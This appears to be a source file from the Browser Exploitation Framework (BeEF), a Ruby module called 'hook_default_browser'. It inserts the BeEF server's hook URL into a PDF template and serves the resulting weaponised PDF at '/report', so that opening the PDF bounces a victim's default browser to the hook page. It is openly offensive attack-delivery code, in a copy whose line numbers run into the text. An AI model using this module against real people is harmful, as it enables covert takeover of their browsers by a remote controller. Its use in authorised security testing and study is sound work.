Path: blob/master/modules/host/hook_default_browser/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#56class Hook_default_browser < BeEF::Core::Command7def self.options8configuration = BeEF::Core::Configuration.instance9proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'10hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html"11# @todo why is this commented out?12[13# {'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },14]15end1617def pre_send18# Get the servers configurations.19configuration = BeEF::Core::Configuration.instance20proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'2122# The hook url to be replace the token in the original pdf file.23hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html"2425# A new pdf file containg the actual hook URI instead of the dummy token.26configured_hook_file = File.open('./modules/host/hook_default_browser/bounce_to_ie_configured.pdf', 'w')2728# The original pdf file contains a token that will get replaced during the initialization with29# the actual hook URI of beef. Note that the hook URI is accessed via the DNS name.30File.open('./modules/host/hook_default_browser/bounce_to_ie.pdf', 'r') do |original_hook_file|31original_hook_file.each_line do |line|32# If the line includes the hook token, then replace it with the actual hook URI33line = line.sub(/<hookURI>/, hook_uri) if line.include? '<hookURI>'34# write the line to a new file35configured_hook_file.write(line)36end37end3839configured_hook_file.close4041# Bind the configured PDF file to the web server.42BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/hook_default_browser/bounce_to_ie_configured.pdf', '/report', 'pdf', -1)43end4445def post_execute46content = {}47content['result'] = @datastore['result']4849save content50# update_zombie!51end52end535455